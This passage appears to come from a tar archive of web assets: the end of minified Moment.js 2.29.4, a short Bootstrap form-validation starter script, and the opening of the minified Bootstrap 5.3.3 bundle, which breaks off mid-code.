this;switch(n=this._isUTC?sn:nn,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":t=this._d.valueOf(),t-=tn(t,6e4);break;case"second":t=this._d.valueOf(),t-=tn(t,1e3);break}return this._d.setTime(t),f.updateOffset(this,!0),this},i.subtract=Je,i.toArray=function(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]},i.toObject=function(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}},i.toDate=function(){return new Date(this.valueOf())},i.toISOString=function(e){if(!this.isValid())return null;var t=(e=!0!==e)?this.clone().utc():this;return t.year()<0||9999<t.year()?re(t,e?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):d(Date.prototype.toISOString)?e?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",re(t,"Z")):re(t,e?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},i.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t="moment",n="";return this.isLocal()||(t=0===this.utcOffset()?"moment.utc":"moment.parseZone",n="Z"),t="["+t+'("]',e=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",this.format(t+e+"-MM-DD[T]HH:mm:ss.SSS"+(n+'[")]'))},"undefined"!=typeof Symbol&&null!=Symbol.for&&(i[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),i.toJSON=function(){return this.isValid()?this.toISOString():null},i.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},i.unix=function(){return Math.floor(this.valueOf()/1e3)},i.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},i.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},i.eraName=function(){for(var e,t=this.localeData().eras(),n=0,s=t.length;n<s;++n){if(e=this.clone().startOf("day").valueOf(),t[n].since<=e&&e<=t[n].until)return t[n].name;if(t[n].until<=e&&e<=t[n].since)return t[n].name}return""},i.eraNarrow=function(){for(var e,t=this.localeData().eras(),n=0,s=t.length;n<s;++n){if(e=this.clone().startOf("day").valueOf(),t[n].since<=e&&e<=t[n].until)return t[n].narrow;if(t[n].until<=e&&e<=t[n].since)return t[n].narrow}return""},i.eraAbbr=function(){for(var e,t=this.localeData().eras(),n=0,s=t.length;n<s;++n){if(e=this.clone().startOf("day").valueOf(),t[n].since<=e&&e<=t[n].until)return t[n].abbr;if(t[n].until<=e&&e<=t[n].since)return t[n].abbr}return""},i.eraYear=function(){for(var e,t,n=this.localeData().eras(),s=0,i=n.length;s<i;++s)if(e=n[s].since<=n[s].until?1:-1,t=this.clone().startOf("day").valueOf(),n[s].since<=t&&t<=n[s].until||n[s].until<=t&&t<=n[s].since)return(this.year()-f(n[s].since).year())*e+n[s].offset;return this.year()},i.year=Ie,i.isLeapYear=function(){return he(this.year())},i.weekYear=function(e){return un.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},i.isoWeekYear=function(e){return un.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},i.quarter=i.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},i.month=Ge,i.daysInMonth=function(){return We(this.year(),this.month())},i.week=i.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},i.isoWeek=i.isoWeeks=function(e){var t=qe(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},i.weeksInYear=function(){var e=this.localeData()._week;return P(this.year(),e.dow,e.doy)},i.weeksInWeekYear=function(){var e=this.localeData()._week;return P(this.weekYear(),e.dow,e.doy)},i.isoWeeksInYear=function(){return P(this.year(),1,4)},i.isoWeeksInISOWeekYear=function(){return P(this.isoWeekYear(),1,4)},i.date=ke,i.day=i.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t,n,s=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(t=e,n=this.localeData(),e="string"!=typeof t?t:isNaN(t)?"number"==typeof(t=n.weekdaysParse(t))?t:null:parseInt(t,10),this.add(e-s,"d")):s},i.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},i.isoWeekday=function(e){return this.isValid()?null!=e?(t=e,n=this.localeData(),n="string"==typeof t?n.weekdaysParse(t)%7||7:isNaN(t)?null:t,this.day(this.day()%7?n:n-7)):this.day()||7:null!=e?this:NaN;var t,n},i.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},i.hour=i.hours=k,i.minute=i.minutes=_e,i.second=i.seconds=ve,i.millisecond=i.milliseconds=ye,i.utcOffset=function(e,t,n){var s,i=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null==e)return this._isUTC?i:Et(this);if("string"==typeof e){if(null===(e=Vt(Ye,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(s=Et(this)),this._offset=e,this._isUTC=!0,null!=s&&this.add(s,"m"),i!==e&&(!t||this._changeInProgress?qt(this,C(e-i,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,f.updateOffset(this,!0),this._changeInProgress=null)),this},i.utc=function(e){return this.utcOffset(0,e)},i.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Et(this),"m")),this},i.parseZone=function(){var e;return null!=this._tzm?this.utcOffset(this._tzm,!1,!0):"string"==typeof this._i&&(null!=(e=Vt(Se,this._i))?this.utcOffset(e):this.utcOffset(0,!0)),this},i.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?W(e).utcOffset():0,(this.utcOffset()-e)%60==0)},i.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},i.isLocal=function(){return!!this.isValid()&&!this._isUTC},i.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},i.isUtc=At,i.isUTC=At,i.zoneAbbr=function(){return this._isUTC?"UTC":""},i.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},i.dates=e("dates accessor is deprecated. Use date instead.",ke),i.months=e("months accessor is deprecated. Use month instead",Ge),i.years=e("years accessor is deprecated. Use year instead",Ie),i.zone=e("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(e,t){return null!=e?(this.utcOffset(e="string"!=typeof e?-e:e,t),this):-this.utcOffset()}),i.isDSTShifted=e("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!o(this._isDSTShifted))return this._isDSTShifted;var e,t={};return $(t,this),(t=Nt(t))._a?(e=(t._isUTC?l:W)(t._a),this._isDSTShifted=this.isValid()&&0<function(e,t,n){for(var s=Math.min(e.length,t.length),i=Math.abs(e.length-t.length),r=0,a=0;a<s;a++)(n&&e[a]!==t[a]||!n&&g(e[a])!==g(t[a]))&&r++;return r+i}(t._a,e.toArray())):this._isDSTShifted=!1,this._isDSTShifted});w=K.prototype;function cn(e,t,n,s){var i=mt(),s=l().set(s,t);return i[n](s,e)}function fn(e,t,n){if(u(e)&&(t=e,e=void 0),e=e||"",null!=t)return cn(e,t,n,"month");for(var s=[],i=0;i<12;i++)s[i]=cn(e,i,n,"month");return s}function mn(e,t,n,s){t=("boolean"==typeof e?u(t)&&(n=t,t=void 0):(t=e,e=!1,u(n=t)&&(n=t,t=void 0)),t||"");var i,r=mt(),a=e?r._week.dow:0,o=[];if(null!=n)return cn(t,(n+a)%7,s,"day");for(i=0;i<7;i++)o[i]=cn(t,(i+a)%7,s,"day");return o}w.calendar=function(e,t,n){return d(e=this._calendar[e]||this._calendar.sameElse)?e.call(t,n):e},w.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.match(te).map(function(e){return"MMMM"===e||"MM"===e||"DD"===e||"dddd"===e?e.slice(1):e}).join(""),this._longDateFormat[e])},w.invalidDate=function(){return this._invalidDate},w.ordinal=function(e){return this._ordinal.replace("%d",e)},w.preparse=dn,w.postformat=dn,w.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return d(i)?i(e,t,n,s):i.replace(/%d/i,e)},w.pastFuture=function(e,t){return d(e=this._relativeTime[0<e?"future":"past"])?e(t):e.replace(/%s/i,t)},w.set=function(e){var t,n;for(n in e)c(e,n)&&(d(t=e[n])?this[n]=t:this["_"+n]=t);this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},w.eras=function(e,t){for(var n,s=this._eras||mt("en")._eras,i=0,r=s.length;i<r;++i){switch(typeof s[i].since){case"string":n=f(s[i].since).startOf("day"),s[i].since=n.valueOf();break}switch(typeof s[i].until){case"undefined":s[i].until=1/0;break;case"string":n=f(s[i].until).startOf("day").valueOf(),s[i].until=n.valueOf();break}}return s},w.erasParse=function(e,t,n){var s,i,r,a,o,u=this.eras();for(e=e.toUpperCase(),s=0,i=u.length;s<i;++s)if(r=u[s].name.toUpperCase(),a=u[s].abbr.toUpperCase(),o=u[s].narrow.toUpperCase(),n)switch(t){case"N":case"NN":case"NNN":if(a===e)return u[s];break;case"NNNN":if(r===e)return u[s];break;case"NNNNN":if(o===e)return u[s];break}else if(0<=[r,a,o].indexOf(e))return u[s]},w.erasConvertYear=function(e,t){var n=e.since<=e.until?1:-1;return void 0===t?f(e.since).year():f(e.since).year()+(t-e.offset)*n},w.erasAbbrRegex=function(e){return c(this,"_erasAbbrRegex")||an.call(this),e?this._erasAbbrRegex:this._erasRegex},w.erasNameRegex=function(e){return c(this,"_erasNameRegex")||an.call(this),e?this._erasNameRegex:this._erasRegex},w.erasNarrowRegex=function(e){return c(this,"_erasNarrowRegex")||an.call(this),e?this._erasNarrowRegex:this._erasRegex},w.months=function(e,t){return e?(a(this._months)?this._months:this._months[(this._months.isFormat||He).test(t)?"format":"standalone"])[e.month()]:a(this._months)?this._months:this._months.standalone},w.monthsShort=function(e,t){return e?(a(this._monthsShort)?this._monthsShort:this._monthsShort[He.test(t)?"format":"standalone"])[e.month()]:a(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},w.monthsParse=function(e,t,n){var s,i;if(this._monthsParseExact)return function(e,t,n){var s,i,r,e=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=l([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=S.call(this._shortMonthsParse,e))?i:null:-1!==(i=S.call(this._longMonthsParse,e))?i:null:"MMM"===t?-1!==(i=S.call(this._shortMonthsParse,e))||-1!==(i=S.call(this._longMonthsParse,e))?i:null:-1!==(i=S.call(this._longMonthsParse,e))||-1!==(i=S.call(this._shortMonthsParse,e))?i:null}.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=l([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(i="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(i.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},w.monthsRegex=function(e){return this._monthsParseExact?(c(this,"_monthsRegex")||Ee.call(this),e?this._monthsStrictRegex:this._monthsRegex):(c(this,"_monthsRegex")||(this._monthsRegex=Le),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},w.monthsShortRegex=function(e){return this._monthsParseExact?(c(this,"_monthsRegex")||Ee.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(c(this,"_monthsShortRegex")||(this._monthsShortRegex=Fe),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},w.week=function(e){return qe(e,this._week.dow,this._week.doy).week},w.firstDayOfYear=function(){return this._week.doy},w.firstDayOfWeek=function(){return this._week.dow},w.weekdays=function(e,t){return t=a(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"],!0===e?Be(t,this._week.dow):e?t[e.day()]:t},w.weekdaysMin=function(e){return!0===e?Be(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin},w.weekdaysShort=function(e){return!0===e?Be(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort},w.weekdaysParse=function(e,t,n){var s,i;if(this._weekdaysParseExact)return function(e,t,n){var s,i,r,e=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=l([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=S.call(this._weekdaysParse,e))?i:null:"ddd"===t?-1!==(i=S.call(this._shortWeekdaysParse,e))?i:null:-1!==(i=S.call(this._minWeekdaysParse,e))?i:null:"dddd"===t?-1!==(i=S.call(this._weekdaysParse,e))||-1!==(i=S.call(this._shortWeekdaysParse,e))||-1!==(i=S.call(this._minWeekdaysParse,e))?i:null:"ddd"===t?-1!==(i=S.call(this._shortWeekdaysParse,e))||-1!==(i=S.call(this._weekdaysParse,e))||-1!==(i=S.call(this._minWeekdaysParse,e))?i:null:-1!==(i=S.call(this._minWeekdaysParse,e))||-1!==(i=S.call(this._weekdaysParse,e))||-1!==(i=S.call(this._shortWeekdaysParse,e))?i:null}.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=l([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[s]||(i="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(i.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},w.weekdaysRegex=function(e){return this._weekdaysParseExact?(c(this,"_weekdaysRegex")||nt.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(c(this,"_weekdaysRegex")||(this._weekdaysRegex=Ke),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},w.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(c(this,"_weekdaysRegex")||nt.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(c(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=et),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},w.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(c(this,"_weekdaysRegex")||nt.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(c(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=tt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},w.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},w.meridiem=function(e,t,n){return 11<e?n?"pm":"PM":n?"am":"AM"},ct("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===g(e%100/10)?"th":1==t?"st":2==t?"nd":3==t?"rd":"th")}}),f.lang=e("moment.lang is deprecated. Use moment.locale instead.",ct),f.langData=e("moment.langData is deprecated. Use moment.localeData instead.",mt);var _n=Math.abs;function yn(e,t,n,s){t=C(t,n);return e._milliseconds+=s*t._milliseconds,e._days+=s*t._days,e._months+=s*t._months,e._bubble()}function gn(e){return e<0?Math.floor(e):Math.ceil(e)}function wn(e){return 4800*e/146097}function pn(e){return 146097*e/4800}function kn(e){return function(){return this.as(e)}}pe=kn("ms"),me=kn("s"),Ce=kn("m"),we=kn("h"),ge=kn("d"),Je=kn("w"),k=kn("M"),_e=kn("Q"),ve=kn("y");function vn(e){return function(){return this.isValid()?this._data[e]:NaN}}var ye=vn("milliseconds"),ke=vn("seconds"),Ie=vn("minutes"),w=vn("hours"),Mn=vn("days"),Dn=vn("months"),Sn=vn("years");var Yn=Math.round,On={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function bn(e,t,n,s){var i=C(e).abs(),r=Yn(i.as("s")),a=Yn(i.as("m")),o=Yn(i.as("h")),u=Yn(i.as("d")),l=Yn(i.as("M")),h=Yn(i.as("w")),i=Yn(i.as("y")),r=(r<=n.ss?["s",r]:r<n.s&&["ss",r])||a<=1&&["m"]||a<n.m&&["mm",a]||o<=1&&["h"]||o<n.h&&["hh",o]||u<=1&&["d"]||u<n.d&&["dd",u];return(r=(r=null!=n.w?r||h<=1&&["w"]||h<n.w&&["ww",h]:r)||l<=1&&["M"]||l<n.M&&["MM",l]||i<=1&&["y"]||["yy",i])[2]=t,r[3]=0<+e,r[4]=s,function(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}.apply(null,r)}var xn=Math.abs;function Tn(e){return(0<e)-(e<0)||+e}function Nn(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n,s,i,r,a,o=xn(this._milliseconds)/1e3,u=xn(this._days),l=xn(this._months),h=this.asSeconds();return h?(e=y(o/60),t=y(e/60),o%=60,e%=60,n=y(l/12),l%=12,s=o?o.toFixed(3).replace(/\.?0+$/,""):"",i=Tn(this._months)!==Tn(h)?"-":"",r=Tn(this._days)!==Tn(h)?"-":"",a=Tn(this._milliseconds)!==Tn(h)?"-":"",(h<0?"-":"")+"P"+(n?i+n+"Y":"")+(l?i+l+"M":"")+(u?r+u+"D":"")+(t||e||o?"T":"")+(t?a+t+"H":"")+(e?a+e+"M":"")+(o?a+s+"S":"")):"P0D"}var U=Ct.prototype;return U.isValid=function(){return this._isValid},U.abs=function(){var e=this._data;return this._milliseconds=_n(this._milliseconds),this._days=_n(this._days),this._months=_n(this._months),e.milliseconds=_n(e.milliseconds),e.seconds=_n(e.seconds),e.minutes=_n(e.minutes),e.hours=_n(e.hours),e.months=_n(e.months),e.years=_n(e.years),this},U.add=function(e,t){return yn(this,e,t,1)},U.subtract=function(e,t){return yn(this,e,t,-1)},U.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=_(e))||"quarter"===e||"year"===e)switch(t=this._days+s/864e5,n=this._months+wn(t),e){case"month":return n;case"quarter":return n/3;case"year":return n/12}else switch(t=this._days+Math.round(pn(this._months)),e){case"week":return t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},U.asMilliseconds=pe,U.asSeconds=me,U.asMinutes=Ce,U.asHours=we,U.asDays=ge,U.asWeeks=Je,U.asMonths=k,U.asQuarters=_e,U.asYears=ve,U.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*g(this._months/12):NaN},U._bubble=function(){var e=this._milliseconds,t=this._days,n=this._months,s=this._data;return 0<=e&&0<=t&&0<=n||e<=0&&t<=0&&n<=0||(e+=864e5*gn(pn(n)+t),n=t=0),s.milliseconds=e%1e3,e=y(e/1e3),s.seconds=e%60,e=y(e/60),s.minutes=e%60,e=y(e/60),s.hours=e%24,t+=y(e/24),n+=e=y(wn(t)),t-=gn(pn(e)),e=y(n/12),n%=12,s.days=t,s.months=n,s.years=e,this},U.clone=function(){return C(this)},U.get=function(e){return e=_(e),this.isValid()?this[e+"s"]():NaN},U.milliseconds=ye,U.seconds=ke,U.minutes=Ie,U.hours=w,U.days=Mn,U.weeks=function(){return y(this.days()/7)},U.months=Dn,U.years=Sn,U.humanize=function(e,t){if(!this.isValid())return this.localeData().invalidDate();var n=!1,s=On;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(n=e),"object"==typeof t&&(s=Object.assign({},On,t),null!=t.s&&null==t.ss&&(s.ss=t.s-1)),e=this.localeData(),t=bn(this,!n,s,e),n&&(t=e.pastFuture(+this,t)),e.postformat(t)},U.toISOString=Nn,U.toString=Nn,U.toJSON=Nn,U.locale=Xt,U.localeData=Kt,U.toIsoString=e("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Nn),U.lang=Xe,s("X",0,0,"unix"),s("x",0,0,"valueOf"),v("x",De),v("X",/[+-]?\d+(\.\d{1,3})?/),D("X",function(e,t,n){n._d=new Date(1e3*parseFloat(e))}),D("x",function(e,t,n){n._d=new Date(g(e))}),f.version="2.29.4",H=W,f.fn=i,f.min=function(){return Rt("isBefore",[].slice.call(arguments,0))},f.max=function(){return Rt("isAfter",[].slice.call(arguments,0))},f.now=function(){return Date.now?Date.now():+new Date},f.utc=l,f.unix=function(e){return W(1e3*e)},f.months=function(e,t){return fn(e,t,"months")},f.isDate=V,f.locale=ct,f.invalid=I,f.duration=C,f.isMoment=h,f.weekdays=function(e,t,n){return mn(e,t,n,"weekdays")},f.parseZone=function(){return W.apply(null,arguments).parseZone()},f.localeData=mt,f.isDuration=Ut,f.monthsShort=function(e,t){return fn(e,t,"monthsShort")},f.weekdaysMin=function(e,t,n){return mn(e,t,n,"weekdaysMin")},f.defineLocale=ft,f.updateLocale=function(e,t){var n,s;return null!=t?(s=ot,null!=R[e]&&null!=R[e].parentLocale?R[e].set(X(R[e]._config,t)):(t=X(s=null!=(n=dt(e))?n._config:s,t),null==n&&(t.abbr=e),(s=new K(t)).parentLocale=R[e],R[e]=s),ct(e)):null!=R[e]&&(null!=R[e].parentLocale?(R[e]=R[e].parentLocale,e===ct()&&ct(e)):null!=R[e]&&delete R[e]),R[e]},f.locales=function(){return ee(R)},f.weekdaysShort=function(e,t,n){return mn(e,t,n,"weekdaysShort")},f.normalizeUnits=_,f.relativeTimeRounding=function(e){return void 0===e?Yn:"function"==typeof e&&(Yn=e,!0)},f.relativeTimeThreshold=function(e,t){return void 0!==On[e]&&(void 0===t?On[e]:(On[e]=t,"s"===e&&(On.ss=t-1),!0))},f.calendarFormat=function(e,t){return(e=e.diff(t,"days",!0))<-6?"sameElse":e<-1?"lastWeek":e<0?"lastDay":e<1?"sameDay":e<2?"nextDay":e<7?"nextWeek":"sameElse"},f.prototype=i,f.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},f});js/validations.js000066600000001063151150443030010033 0ustar00// Example starter JavaScript for disabling form submissions if there are invalid fields
(() => {
	"use strict";

	// Fetch all the forms we want to apply custom Bootstrap validation styles to
	const forms = document.querySelectorAll(".needs-validation");

	// Loop over them and prevent submission
	Array.from(forms).forEach((form) => {
		form.addEventListener(
			"submit",
			(event) => {
				if (!form.checkValidity()) {
					event.preventDefault();
					event.stopPropagation();
				}

				form.classList.add("was-validated");
			},
			false
		);
	});
})();
js/bootstrap.bundle.min.js000066600000235440151150443030011575 0ustar00/*!
  * Bootstrap v5.3.3 (https://getbootstrap.com/)
  * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
  */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";const t=new Map,e={set(e,i,n){t.has(e)||t.set(e,new Map);const s=t.get(e);s.has(i)||0===s.size?s.set(i,n):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(s.keys())[0]}.`)},get:(e,i)=>t.has(e)&&t.get(e).get(i)||null,remove(e,i){if(!t.has(e))return;const n=t.get(e);n.delete(i),0===n.size&&t.delete(e)}},i="transitionend",n=t=>(t&&window.CSS&&window.CSS.escape&&(t=t.replace(/#([^\s"#']+)/g,((t,e)=>`#${CSS.escape(e)}`))),t),s=t=>{t.dispatchEvent(new Event(i))},o=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),r=t=>o(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(n(t)):null,a=t=>{if(!o(t)||0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details:not([open])");if(!i)return e;if(i!==t){const e=t.closest("summary");if(e&&e.parentNode!==i)return!1;if(null===e)return!1}return e},l=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),c=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?c(t.parentNode):null},h=()=>{},d=t=>{t.offsetHeight},u=()=>window.jQuery&&!document.body.hasAttribute("data-bs-no-jquery")?window.jQuery:null,f=[],p=()=>"rtl"===document.documentElement.dir,m=t=>{var e;e=()=>{const e=u();if(e){const i=t.NAME,n=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=n,t.jQueryInterface)}},"loading"===document.readyState?(f.length||document.addEventListener("DOMContentLoaded",(()=>{for(const t of f)t()})),f.push(e)):e()},g=(t,e=[],i=t)=>"function"==typeof t?t(...e):i,_=(t,e,n=!0)=>{if(!n)return void g(t);const o=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const n=Number.parseFloat(e),s=Number.parseFloat(i);return n||s?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let r=!1;const a=({target:n})=>{n===e&&(r=!0,e.removeEventListener(i,a),g(t))};e.addEventListener(i,a),setTimeout((()=>{r||s(e)}),o)},b=(t,e,i,n)=>{const s=t.length;let o=t.indexOf(e);return-1===o?!i&&n?t[s-1]:t[0]:(o+=i?1:-1,n&&(o=(o+s)%s),t[Math.max(0,Math.min(o,s-1))])},v=/[^.]*(?=\..*)\.|.*/,y=/\..*/,w=/::\d+$/,A={};let E=1;const T={mouseenter:"mouseover",mouseleave:"mouseout"},C=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function O(t,e){return e&&`${e}::${E++}`||t.uidEvent||E++}function x(t){const e=O(t);return t.uidEvent=e,A[e]=A[e]||{},A[e]}function k(t,e,i=null){return Object.values(t).find((t=>t.callable===e&&t.delegationSelector===i))}function L(t,e,i){const n="string"==typeof e,s=n?i:e||i;let o=I(t);return C.has(o)||(o=t),[n,s,o]}function S(t,e,i,n,s){if("string"!=typeof e||!t)return;let[o,r,a]=L(e,i,n);if(e in T){const 